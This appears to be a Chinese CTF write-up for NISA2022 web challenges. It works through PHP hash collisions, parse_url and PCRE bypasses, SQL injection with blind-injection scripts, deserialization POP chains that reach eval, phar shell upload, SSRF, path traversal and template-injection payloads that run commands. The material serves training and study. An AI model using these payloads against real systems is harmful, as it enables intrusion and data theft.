NISA2022-replay

作者 f0zz 日期 2022-03-31
NISA2022-replay

平台:NSSCTF

WEB

Ckeckin

image.png
本来以为是一眼就看出的web题,传参时发现参数被unicode编码,然后放到phpstrom里面查看一下
image.png
这就清晰了很多,然后复制传参得到flag

level-up

level1

打开后提示nothing here,F12查看源代码
image.png
源代码中提示disallow,这个是robots协议反爬虫规则中出现的,告诉浏览器哪些可以爬取,哪些不可以
访问robots.txt给出level_2地址

level2

<?php
  //here is level 2
  error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
  $a1 = (string)$_POST['array1'];
  $a2 = (string)$_POST['array2'];
  if ($a1 == $a2){
    die("????");
  }
  if (md5($a1) === md5($a2)){
    echo $level3;
  }
  else{
    die("level 2 failed ...");
  }
  
}
else{
  show_source(__FILE__);
}
?>

查看发现是个md5强相等的比较,然后直接打

array1%3dm%c3%89h%c3%bf%0e%c3%a3%5c%20%c2%95r%c3%94w%7br%15%c2%87%c3%93o%c2%a7%c2%b2%1b%c3%9cv%c2%b7j%3d%c3%80x%3e%7b%c2%95%18%c2%af%c2%bf%c2%a2%26array2%3dm%c3%89h%c3%bf%0e%c3%a3%5c%20%c2%95r%c3%94w%7br%15%c2%87%c3%93o%c2%a7%c2%b2%1b%c3%9cv%c2%b7j%3d%c3%80x%3e%7b%c2%95%18%c2%af%c2%bf%c2%a2%02%c2%a8(k%c3%b3n%c2%8eku%c2%b3_bu%c2%93%c3%98igm%20%c3%91%c3%95%5d%c2%83%60%c3%bb_%07%c3%be%c2%a2

需要注意的是,浏览器发包可能出现解码问题,需要使用burpsuite发POST包

level3

Sha1强比较

<?php
  //here is level 3
  error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
  $a1 = (string)$_POST['array1'];
  $a2 = (string)$_POST['array2'];
  if ($a1 == $a2){
    die("????");
  }
  if (sha1($a1) === sha1($a2)){
    echo $level4;
  }
  else{
    die("level 3 failed ...");
  }
}
else{
  show_source(__FILE__);
}
?>

image.png

curl http://1.14.71.254:29000/Level___3.php -d "array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"

level4

这个题考的是从来没有用到的知识点,parse_url的函数缺陷,在遇到严重的url不标准时,parse_url函数会返回NULL,从而绕过黑名单限制

<?php
  //here is last level
  error_reporting(0);
include "str.php";
show_source(__FILE__);
$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
  echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){	//禁用空格,下划线,点号以及对应的url编码
  die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
  die($level5);
}
else{
  die("level 4 failed ...");
}
?>
give me a parameterlevel 4 failed ...

payload:[http://1.14.71.254:29000///level_level_4.php?NI_SA_=txw4ever](http://1.14.71.254:29000///level_level_4.php?NI_SA_=txw4ever)

level5

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

这道题来源p0的code_breaking的php create_function注入

代码声明
create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分
根据传递的参数创建匿名函数,并为其返回唯一名称。
<?php
function a($args){
  return $code;
}
?>

传入a=\create_function&b=};phpinfo();/*

<?php
function a($args){
  return $code;}phpinfo();/*;
}
?>

因此造成代码注入
接下来的RCE思路就很清晰了

Join-us

很明显的一道sql注入题目
image.png
输入1’报错 1’#正常
尝试继续注入发现此题存在waf,fuzz一下
经过fuzz发现like,select,from,mid,order,extracetvalue,concat,length,or,空格都是可用的
然后考虑使用extracetvalue报错注入
库名-1' or(select database())#发现被waf拦截,这里应该是库名中存在’as’
payload2:-1' or(select*from qwe)#为什么使用这个呢,在做题时我们可以发现select一个不存在的表,会报错 ERROR:库名.表名不存在
image.png
因此我们尝试用这个报错来获取库名
image.png
payload3-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 0x73716c73716c),0x7e))#
返回XPATH syntax error: '~Fal_flag,output~'
由于column在黑名单,此处使用无列名注入
payload4-1' || extractvalue(1,concat(0x7e,(select*from (select*from output a join output b)c)))#
payload5tt=-1' || extractvalue(1,concat(0x7e,(select mid(data,1,20) from output)))#
继续使用mid即可回显出flag

hardsql

题目描述:$password=$_POST['passwd']; $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';"
尝试登录发现
image.png
尝试注入时发现存在waf
fuzz一下发现可用的方法有select,as,or,like,length,ascii,union,而且过滤了空格,但是没过滤//于是我们使用//代替空格
而且此题没有回显,尝试盲注
payload:-1'/**/or/**/mid(passwd,1,1)/**/like/**/'b'#
发现true时返回wrong password,false时返回nothing found
然后写脚本跑盲注

import requests

url = "http://1.14.71.254:28237/login.php"
for length in range(1,100):
    payload = "-1'/**/or/**/length(passwd)/**/like/**/{0}#".format(length)
    data = {"username":"bilala", "passwd":payload}
    test = requests.post(url, data)
    print("testing:",data)
    if "worong" in test.text:
        print(length)
        exit(0)
#得出长度为32        
import requests

url = "http://1.14.71.254:28237/login.php"
res = ""
for byte in range(1,33):
    for ascii in range(48,123):
        payload = "1'/**/or/**/ascii(mid(passwd,{0},1))/**/like/**/{1}#".format(byte,ascii)
        data = {"username":"bilala","passwd":payload}
        test = requests.post(url,data)
        # print("test:",data)
        if "wrong" in test.text:
            res+=chr(ascii)
            print(res)
            continue
#得到password为b2f2d15b3ae082ca29697d8dcd420fd7

然后拿到源代码查看逻辑

<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
        alertMes('waf here', 'index.php');
    }
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    $username=$_POST['username'];
    $password=$_POST['passwd'];
    if ($username !== 'bilala') {
        alertMes('only bilala can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    $user_result=mysqli_query($MysqlLink,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes('nothing found','index.php');
    }
    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.php');
    }
}
?>

需要使用其他格式表示passwd值,或者使查询结果和表达式相等且不等于b2f2d15…..
Quine sql注入
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup(){
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
    function __call($from,$val){
        $this->fun=$val[0];
    }
    public function __toString(){
        echo $this->fun;
        return " ";
    }
    public function __invoke(){
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup(){
        $this->ext->nisa($this->x);
    }
}
class Ilovetxw{
    public $huang;
    public $su;
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
class four{
    public $a="TXW4EVER";
    private $fun='abc';
    public function __set($name, $value){
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

分析:此题需要我们执行eval,或者使用原生类(但是题目关闭了报错,需要将错误echo出来)。

- 需要执行eval就要调用__invoke()函数
    __invoke():当实例化的对象以一个函数的形式被调用时,执行__invoke()的内容
- 在Ilovetxw的__toString()函数中存在return $bb(); 因此通过这里我们可以尝试执行__invoke()
    在输出实例化对象的时候输出__toString()的return值
    经测试我们不难发现strtolower可以触发__toString()函数
- 在four的set中存在strtolower,可以用来触发Ilovetxw::__toString()
    Ilovetxw中还存在__call()函数,可以通过它来设置private $fun的值,使其等于"sixsixsix"
    __call():触发时机:当引用类中不存在的函数时,就会调用__call函数
    four类中我们做了2个操作:使if判断为真,触发Ilovetxw中的toString代码
- 然后调用不存在的函数TianXiWei::__wakeup::nisa触发Ilovetxw::__call

测试:
image.png

思路:TianXiWei::__wakeup::nisa->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

payload:
<?php
class NISA{
    public $fun;
    public $txw4ever;
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    public $fun;
}
$NISA = new NISA();
$NISA->fun = "asd";
$NISA->txw4ever = "phpinfo();";
$Ilt = new Ilovetxw();
$Ilt->su = $NISA;
$four = new four();
$four->a = $Ilt;
$Ilt2 = new Ilovetxw();
$Ilt2->huang = $four;
$TXW = new TianXiWei();
$TXW->ext = $Ilt2;
$TXW->x = "sixsixsix";
echo serialize($TXW);

get payload时发现触发了waf
通过修改payload发现出题人区分了大小写
image.png
成功RCE
原生类:payload1:读取根目录f开头文件$NISA->txw4ever = "echo new GlobIterator(\"/f*\");";
payload2:$NISA->txw4ever = "echo new SplFileObject(\"file:///fllllllaaag\");";waf拦截敏感词file
payload3:$NISA->txw4ever = "echo new SplFileObject(\"/fllllllaaag\");";
此处还可以用include配合伪协议读取
成功getflag

middlerce

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

ban掉了异或,取反
拿下来fuzz
剩下了$ % ) + - = ] \ } ; ' : @ " , .
发现并不能做什么,后来才知道时pcre回溯次数绕过
详细见查看p牛博客
PHP利用PCRE回溯次数限制绕过某些安全限制
`的简写形式

import requests

payload = '{"cmd":"?><?= `tail /f*`?>","$":"' + "$"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28044/", data={"letter":payload})
print(res.text)

需要注意的是$command使用json_decode进行过解码

Bingdundun

题目提示文件上传压缩包和图片,并且flag在.目录下
上传包含shell的压缩包文件,然后使用伪协议读取
http://1.14.71.254:28792/?bingdundun=phar://a73f91146b56b00da773bc5611825b98.zip/shell
查看到提示后发现flag在根目录下,直接去cat拿到flag
image.png

easyssrf

题目提示使用curl
尝试file:///flag
发现给出提示
image.png
尝试file:///fl4g
image.png
访问ha1x1u1u.php

<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}
//flag in /flag
echo file_get_contents($file);

stristr是strstr忽略大小写的版本

说明 ¶
stristr(string $haystack, mixed $needle, bool $before_needle = false): string
返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

这里似乎是出题人出了问题,stristr应该是匹配flag字符串
直接?file=/flag就可得出flag

babyupload

进入题目f12查看提示,下载题目源码
主要的漏洞在file函数的这句代码:with open(os.path.join(“uploads/“, res[0]), “r”) as f:,这里的os.path.join,如果碰到/开头的字符串,会出现一个bug,就可以直接访问/flag了。

随便上传一个文件使用burp抓包后发送到重发器,
将filename的值修改为/flag,关注重定向即可得到

popchains

<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}
class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }
    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/
思路:
在Try_Work_Hard::include处包含flag.php就需要触发__invoke
触发__invoke就需要将其作为函数处理,Make_a_Change::__get()
__get()函数在获取难以获取的字符串时触发:Try_Work_Hard::$var
    难以获取的字符串:私有属性和未初始化的属性
unserialize函数触发__wakeup()将$this->page作为字符串处理可以触发一个__toString

因此得到pop链构造思路
Road_is_Long::__toString()->Make_a_Change::__get()->Try_Work_Hard::__invoke()

image.png

<?php
class Road_is_Long
{
    public $page;
    public $string;

    public function __construct($file)
    {
        $this->page = $file;
    }
}
class Make_a_Change
{
    public $effort;
}
class Try_Work_Hard
{
    public $var ;
}

$a = new Road_is_Long(a);
$a->string = new Make_a_Change();
$a->string->effort = new Try_Work_Hard();
$a->string->effort->var = "php://filter/read=convert.base64-encode/resource=/flag";
$b = new Road_is_Long($a);
echo serialize($b);
//提示给错了flag文件名,找了老半天

读出flag后base64解码提交

midlevel

查看页面,发现底部存在Build With Smarty !
前几天刚审计了Smarty引擎🙊机会来了
查看信息发现题目存在两个get api的方法
直接丢到burp开冲
image.png
明显xff+Smarrty SSTI
image.png
存在注入
RCE直接打
image.png
image.png

insecret

访问发现只给了Welcome To Find Secret
手动fuzz一下发现/secret中存在有用信息
Tell me your secret.I will encrypt it so others can't see
image.png
传入字符会将其解密
image.png
传入多个字符直接报错,源码都给爆出来
image.png
不难看出题目使用了RC4解密的方法对我们传入字符进行解密,并且给出了密钥HereIsTreasure
并且对返回结果使用了危险函数进行渲染render_template_string(safe(deS))
RC4+urlencode处理payload
image.png

payload1:.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%9C%1A%3A%3F%C3%A6%C2%B2%20%C2%A2%C3%82%C2%B9%0F%0B%C3%95G%23-%C3%A9%C2%A2%19%C3%85%C2%B2%C2%8F%22%C3%AE%C2%A3%C2%93l%C3%8A%7B%03%C3%B9%C2%B6%C2%92%C3%97%11%20%C3%9C%C3%AE%C3%AA%02 ls /

payload2:
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23%7E%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96 cat /flag.txt
得到FLAG